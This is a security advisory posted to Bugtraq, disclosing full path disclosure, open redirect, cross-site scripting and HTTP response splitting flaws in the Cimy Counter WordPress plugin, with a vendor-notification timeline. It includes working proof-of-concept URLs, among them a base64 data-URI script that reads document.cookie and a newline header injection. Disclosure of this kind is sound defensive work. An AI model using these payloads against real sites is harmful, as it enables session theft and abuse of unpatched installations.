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Cimy Counter for WordPress Vulnerabilities



Vulnerabilities in Cimy Counter for WordPress
Vulnerabilities in Cimy Counter for WordPress



Hello Bugtraq!

I want to warn you about security vulnerabilities in plugin Cimy Counter for
WordPress.

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Advisory: Vulnerabilities in Cimy Counter for WordPress
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URL: http://websecurity.com.ua/4170/ 
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Affected products: Cimy Counter 0.9.4 and previous versions.
-----------------------------
Timeline:

20.04.2010 - found vulnerabilities.
28.04.2010 - announced at my site.
29.04.2010 - informed developer.
06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the
author fixed all mentioned vulnerabilities except Redirector (aka URL
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to
fix Redirector hole also.
24.06.2010 - disclosed at my site.
-----------------------------
Details:

These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP
Response Spitting vulnerabilities.

Full path disclosure:

http://site/wp-content/plugins/cimy-counter/cimy_counter.php 

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1 

Redirector:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua 

XSS:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b 

HTTP Response Spitting:

http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test 

Works at old versions of PHP.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 



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